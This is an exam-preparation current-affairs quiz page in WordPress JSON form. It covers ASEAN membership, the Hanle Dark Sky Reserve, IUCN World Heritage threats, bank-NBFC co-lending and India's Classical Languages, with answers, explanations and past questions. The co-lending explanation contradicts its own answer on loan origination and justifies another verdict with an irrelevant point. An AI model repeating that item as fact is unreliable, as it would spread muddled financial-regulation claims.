{"id":2635,"date":"2025-10-28T05:49:28","date_gmt":"2025-10-28T05:49:28","guid":{"rendered":"https:\/\/iasquest.com\/?p=2635"},"modified":"2026-02-11T18:49:46","modified_gmt":"2026-02-11T18:49:46","slug":"daily-current-affairs-27-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-27-10-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS &#8211; 27.10.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following countries:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. Singapore<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. Thailand<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">4. Brunei<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">5. Cambodia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>How many of the above are the ASEAN member nations?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(a) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(b) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">(c) Only four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\">(d) All five<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Answer: (c) Only four<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>In NEWS:<\/strong> India-ASEAN ties making steady progress: PM<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>ASEAN:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li>ASEAN stands for the Association of Southeast Asian Nations established on August 8, 1967.<\/li>\n\n\n\n<li>It is a regional organization established to promote <strong>political and economic cooperation and regional stability among its members.<\/strong><\/li>\n\n\n\n<li><strong>Founding Members:<\/strong> Indonesia, Malaysia, the Philippines, Singapore, and Thailand<\/li>\n\n\n\n<li><strong>Current Members (10 total):<\/strong> Brunei, Cambodia, Indonesia, Lao PDR (Laos), Malaysia, Myanmar, The Philippines, Singapore, Thailand andVietnam. <strong>Hence option (c) is correct.<\/strong><\/li>\n\n\n\n<li>ASEAN has dialogue partnerships with countries like China, Japan, South Korea, the U.S., the EU, Australia, and India, forming broader frameworks such as the ASEAN Plus Three (APT) and the East Asia Summit (EAS).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Main Objectives:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li>To accelerate economic growth, social progress, and cultural development.<\/li>\n\n\n\n<li>To promote regional peace and stability through respect for justice and rule of law.<\/li>\n\n\n\n<li>To collaborate in education, technology, trade, and sustainable development.<\/li>\n\n\n\n<li>To maintain neutrality and cooperation among major world powers.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Key Institutions:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li><strong>ASEAN Summit: <\/strong>The highest decision-making body, attended by heads of state or government.<\/li>\n\n\n\n<li><strong>ASEAN Secretariat:<\/strong> Based in Jakarta, Indonesia, it coordinates and monitors implementation of ASEAN agreements.<\/li>\n\n\n\n<li><strong>ASEAN Free Trade Area (AFTA):<\/strong> Promotes free trade among member countries.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>22nd ASEAN\u2013India Summit:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-22\">\n<li>The Summit was held on 26 October 2025 in Kuala Lumpur, Malaysia.<\/li>\n\n\n\n<li>It was held in conjunction with the 47th ASEAN Summit and related meetings, under Malaysia\u2019s chairmanship of ASEAN in 2025.<\/li>\n\n\n\n<li>The theme of Malaysia\u2019s ASEAN Chair for 2025 is \u201cInclusivity and Sustainability\u201d. This theme was referenced in the Summit\u2019s discussions.<\/li>\n\n\n\n<li>India and ASEAN agreed to adopt an Action Plan for 2026\u20132030 under their Comprehensive Strategic Partnership, with priority areas including digital economy, clean energy, innovation, sustainable infrastructure, healthcare, and narrowing development gaps.<\/li>\n\n\n\n<li>India announced the year 2026 will be designated as the \u201cYear of ASEAN\u2013India Maritime Cooperation\u201d. The focus is on maritime security, blue economy, marine science, transport connectivity and joint maritime initiatives.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. Consider the following countries:<\/strong> <strong>\u00a0<\/strong> <br><br>1. Australia <br>2. Canada <br>3. China <br>4. India <br>5. Japan <br>6. USA \u00a0 <br><br><strong>Which of the above are among the &#8216;free-trade partners&#8217; of ASEAN?<\/strong> <strong>\u00a0<\/strong> <br><br>(a) 1, 2, 4 and 5 <br>(b) 3, 4, 5 and 6 <br><strong>(c) 1, 3, 4 and 5<\/strong> <br>(d) 2, 3, 4 and 6<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-23 wp-block-paragraph\" style=\"color:#ff0000\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/pm-modi-47th-asean-summit-virtual-address\/article70204727.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/pm-modi-47th-asean-summit-virtual-address\/article70204727.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>2. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>Statement-I:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">The Hanle Dark Sky Reserve is India\u2019s first officially recognized dark sky reserve, located in the remote Himalayan region of Ladakh.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Statement-II:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">The Hanle region has minimal light pollution, low atmospheric moisture, and clear skies for over 260 nights per year.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">(c) Statement-I is correct but Statement-II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">(d) Statement-I is incorrect but Statement-II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Answer: (a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>In NEWS: <\/strong>Hanle protects its dark skies and builds a future on stargazing<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>The Hanle Dark Sky Reserve:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-38\">\n<li>The Hanle Dark Sky Reserve is India\u2019s first officially recognized dark sky reserve, located in the remote Himalayan region of Ladakh (Union Territory of India).<\/li>\n\n\n\n<li>It\u2019s one of the best places in the world for stargazing, astronomical research, and astrophotography due to its exceptionally clear and unpolluted night skies.<\/li>\n\n\n\n<li>The Hanle region has minimal light pollution, low atmospheric moisture, and clear skies for over 260 nights per year. <strong>Hence both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I<\/strong><\/li>\n\n\n\n<li>It hosts the Indian Astronomical Observatory (IAO), one of the world\u2019s highest observatories.<\/li>\n\n\n\n<li>The reserve is designed to preserve the natural night sky and promote astro-tourism while protecting local wildlife and culture.<\/li>\n\n\n\n<li><strong>The IAO, Hanle, houses major telescopes:<\/strong><ul><li>Himalayan Chandra Telescope (HCT) \u2014 a 2-meter optical-infrared telescope.<\/li><\/ul><ul><li>GROWTH-India Telescope \u2014 for time-domain astronomy (observing transient events like supernovae).<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Upcoming facilities like the National Large Optical Telescope (NLOT) are planned nearby.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Managed by:<\/strong><ul><li>Indian Institute of Astrophysics (IIA)<\/li><\/ul><ul><li>Ladakh Autonomous Hill Development Council (LAHDC)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Department of Science &amp; Technology (DST), Government of India<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following space missions:<\/strong> <strong>\u00a0<\/strong> <br><br>1. Axiom-4 <br>2. SpaDeX <br>3. Gaganyaan \u00a0 <br><br><strong>How many of the space missions given above encourage and support micro-gravity research?<\/strong> <br><br>(a) Only one <br>(b) Only two <br><strong>(c) All the three<\/strong> <br>(d) None<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-39 wp-block-paragraph\" style=\"color:#ff0000\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/hanle-protects-its-dark-skies-and-builds-a-future-on-stargazing\/article70204567.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/hanle-protects-its-dark-skies-and-builds-a-future-on-stargazing\/article70204567.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>3. Consider the following statements regarding the IUCN World Heritage Outlook 4 report and India\u2019s natural World Heritage sites:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">1. The Western Ghats, Sundarbans, and Manas National Park have been categorised as sites of \u201csignificant concern\u201d in the latest IUCN report.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">2. The four primary threats to natural World Heritage sites in South Asia are climate change, tourism, invasive alien species, and roads\/railways.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">3. Protected areas in South Asia now show an increasing positive conservation outlook compared to previous assessments.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">4. Exotic species such as eucalyptus and acacia are native to the Western Ghats and contribute positively to biodiversity.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">(b) 1, 2, and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">(c) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">(d) 1, 2, and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>In NEWS<\/strong>: Why has IUCN red-flagged the Western Ghats?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>Explanation:&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-53\">\n<li>The IUCN\u2019s World Heritage Outlook 4 report released earlier this month attributes four threats to the loss of habitats and species in South Asia: <strong>climate change, tourism activities, invasive alien species, and roads.<\/strong><\/li>\n\n\n\n<li>The report categorises the natural sites as \u201cgood\u201d, \u201cgood with some concerns\u201d, \u201csignificant concern\u201d, and \u201ccritical\u201d.<\/li>\n\n\n\n<li>The expansive Western Ghats and two national parks in India &#8211; Assam\u2019s Manas national park and West Bengal\u2019s Sundarbans national park have been categorised as being of \u201csignificant concern\u201d in the International Union for Conservation of Nature\u2019s (IUCN) list of natural World Heritage sites across Asia.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">1. The <strong>Western Ghats<\/strong>, <strong>Sundarbans National Park<\/strong>, and <strong>Manas National Park<\/strong> have all been officially categorized as sites of <strong>&#8220;significant concern&#8221;<\/strong> in the latest IUCN World Heritage Outlook 4 report, meaning <strong>Statement 1 is correct<\/strong>. This designation reflects the serious pressures these biodiversity hotspots are currently facing.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">2. The report specifically identifies <strong>climate change<\/strong>, <strong>tourism<\/strong>, <strong>invasive alien species<\/strong>, and <strong>roads\/railways<\/strong> as the four dominant threats impacting the conservation status of natural World Heritage sites across South Asia, making <strong>Statement 2 correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">3. Contrary to Statement 3, the overall trend revealed by the report shows a <strong>decline<\/strong> in the global conservation health of natural sites, with a <strong>decreasing percentage<\/strong> of sites having a positive conservation outlook compared to previous assessments, which means <strong>Statement 3 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>4. Statement 4 is incorrect<\/strong> because species like <strong>eucalyptus<\/strong> and <strong>acacia<\/strong> are <strong>exotic<\/strong> (non-native) trees, introduced to the Western Ghats for commercial plantations, and they are now classified as <strong>Invasive Alien Species<\/strong> that severely threaten native flora, such as the <em>shola<\/em> grasslands, and thus <strong>do not contribute positively<\/strong> to biodiversity&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Which of the following is a World Heritage Site located in India?<\/strong> <br><br>(a) Mount Fuji <br>(b) Chichen Itza <br><strong>(c) Red Fort<\/strong> <br>(d) Eiffel Tower \u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-58 wp-block-paragraph\" style=\"color:#ff0000\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/why-has-iucn-red-flagged-the-western-ghats-explained\/article70178487.ece#:~:text=The%20story%20so%20far%3A%20The,World%20Heritage%20sites%20across%20Asia\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/why-has-iucn-red-flagged-the-western-ghats-explained\/article70178487.ece#:~:text=The%20story%20so%20far%3A%20The,World%20Heritage%20sites%20across%20Asia<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><a><\/a><strong>4. Consider the following statements regarding Co-Lending in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">1. In co-lending, both banks and NBFCs jointly originate and disburse the loan to the borrower.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">2. The NBFC in co-lending bears the majority of the risk, while the bank\u2019s share is usually less.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">3. Co-lending is primarily aimed at improving credit flow to priority sectors.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">(d) 1, 2, and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Answer: (b) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>In NEWS:<\/strong> Govt.-owned NBFCs can unleash credit via co-lending<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>1. INTRODUCTION<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">Co-lending refers to a partnership between banks and Non-Banking Financial Companies (NBFCs) where both jointly provide loans to borrowers, especially in the priority sectors such as agriculture, MSMEs, and affordable housing. <strong>Hence statement 1 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">This initiative is promoted by the Reserve Bank of India (RBI) to enhance credit flow to underserved sectors and improve financial inclusion.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>2. How Co-Lending Works<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-75\">\n<li>The NBFC identifies and originates the loan, performs credit appraisal, and manages customer interaction.<\/li>\n\n\n\n<li>The bank provides a portion of the funding.<\/li>\n\n\n\n<li>Loans are jointly sanctioned, and both entities share the risk in a pre-agreed ratio.<\/li>\n\n\n\n<li>Typically, banks hold a majority share of the loan, ensuring compliance with priority sector lending targets.<\/li>\n\n\n\n<li><strong>Example:<\/strong> <strong>If a \u20b910 lakh loan is co-lent in an 80:20 ratio, the bank contributes \u20b98 lakh, and the NBFC \u20b92 lakh<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>3. Key Features<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Feature<\/strong><\/td><td><strong>Description<\/strong><\/td><\/tr><tr><td>Objective<\/td><td>Increase credit to priority sectors and underserved borrowers<\/td><\/tr><tr><td>Risk Sharing<\/td><td>Pre-agreed ratio between bank and NBFC<\/td><\/tr><tr><td>Loan Origination<\/td><td>NBFCs originate; banks provide funding<\/td><\/tr><tr><td>Customer Interaction<\/td><td>NBFC handles disbursal, monitoring, and recovery<\/td><\/tr><tr><td>Regulation<\/td><td>RBI issued guidelines for co-lending in 2018<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-77\"><strong>4. Benefits<\/strong><\/h3>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>1. For Banks:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-79\">\n<li>Expands outreach without increasing operational burden.<\/li>\n\n\n\n<li>Helps achieve priority sector lending targets. <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>2. For NBFCs:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-81\">\n<li>Access to low-cost funds from banks.<\/li>\n\n\n\n<li>Reduces liquidity risk. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>3. For Borrowers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-83\">\n<li>Easier access to credit in rural or underserved areas.<\/li>\n\n\n\n<li>Better loan terms due to combined strengths of banks and NBFCs.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>5. RBI Guidelines<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-85\">\n<li>Banks and NBFCs must enter formal agreements specifying roles, responsibilities, and risk-sharing.<\/li>\n\n\n\n<li>Maximum exposure for banks is usually capped at 80% of the loan.<\/li>\n\n\n\n<li>Both institutions jointly perform due diligence and comply with all regulatory norms.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Reference: RBI Master Circular on Co-Lending by Banks and NBFCs, 2018<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. With reference to Non-Banking Financial Companies (NBFCs) and Small Finance Banks (SFBs), consider the following statements: (2024)<\/strong> <strong>\u00a0<\/strong> <br><br>1. NBFCs do not offer credit, but SFBs offer credit. <br>2. NBFCs do not accept demand deposits, but SFBs accept demand deposits. <br>3. Transaction services are not offered by NBFCs, whereas transaction services are offered by SFBs. \u00a0 <br><br><strong>How many of the statements given above are correct?<\/strong> <strong>\u00a0<\/strong> <br><br>(a) Only one <br><strong>(b) Only two<\/strong> <br>(c) All three <br>(d) None<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-87 wp-block-paragraph\" style=\"color:#ff0000\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/education\/inside-the-private-school-boom-how-nbfcs-can-power-affordable-education\/article70198955.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/education\/inside-the-private-school-boom-how-nbfcs-can-power-affordable-education\/article70198955.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><a><\/a><strong>5. With reference to the \u201cClassical Languages of India\u201d, consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-89\">\n<li>To qualify as a Classical Language, it must possess recorded history of at least 1,000 years and a continuous literary tradition.<\/li>\n\n\n\n<li>Classical Languages may show discontinuity from their modern forms.<\/li>\n\n\n\n<li>The criteria for Classical Language recognition are laid down by the Ministry of Education.<\/li>\n\n\n\n<li>Classical Language status entails creation of dedicated Centres of Excellence under the Central Institute of Indian Languages (CIIL).<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Which of the above statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong><br><\/strong>(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">(b) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">(c) 2, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Answer:&nbsp; (b) 2 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>In NEWS: <\/strong>Preserving India\u2019s Linguistic Heritage<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Classical Languages in India:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-99\">\n<li>The Government of India conferred the \u2018Classical Language\u2019 status to Marathi, Pali, Prakrit, Assamese, and Bengali languages on October 03, 2024<\/li>\n\n\n\n<li>As of October 2025,a total of 11 Indian languages hold the status of Classical Language.<\/li>\n\n\n\n<li>Six Indian languages &#8211; Tamil, Sanskrit, Kannada, Telugu, Malayalam, and Odia were earlier accorded the status of classical languages between&nbsp; 2004 to 2024.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"355\" height=\"233\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-29.jpg\" alt=\"\" class=\"wp-image-2636\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-29.jpg 355w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-29-300x197.jpg 300w\" sizes=\"auto, (max-width: 355px) 100vw, 355px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>The criteria for a language to be classified as a Classical Language include the following:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-101\">\n<li>High antiquity of its early texts or recorded history, spanning a period of 1,500-2,000 years. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>A body of ancient literature or texts that is considered heritage by generations of speakers.<\/li>\n\n\n\n<li>Knowledge texts, especially prose texts, in addition to poetry, epigraphical and inscriptional evidence.<\/li>\n\n\n\n<li>The Classical Language and its literature may be distinct from its current form or show discontinuity with later forms derived from the original. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">The status of a classical language entails the establishment of dedicated Centres of Excellence for its study and promotion. These centers are often set up under the Central Institute of Indian Languages (CIIL) to support research, documentation, and the digitization of manuscripts. <strong>Hence statement 4 is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">The criteria for Classical Language recognition are laid down by the Ministry of Culture, in consultation with linguistic and historical experts, and not the Ministry of Education. <strong>Hence Statement 3 is incorrect<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Consider the following languages: (2016)<\/strong> <strong>\u00a0<\/strong> <br><br>1. Gujarati <br>2. Kannada <br>3. Telugu <strong>\u00a0<\/strong> <br><br><strong>Which of the above has\/have been declared as a \u2018Classical Language\u2019 by the Government of India?<\/strong> <strong>\u00a0<\/strong> <br><br>(a) 1 and 2 only <br>(b) 3 only <br><strong>(c) 2 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-104 wp-block-paragraph\" style=\"color:#ff0000\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2182753\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2182753<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color 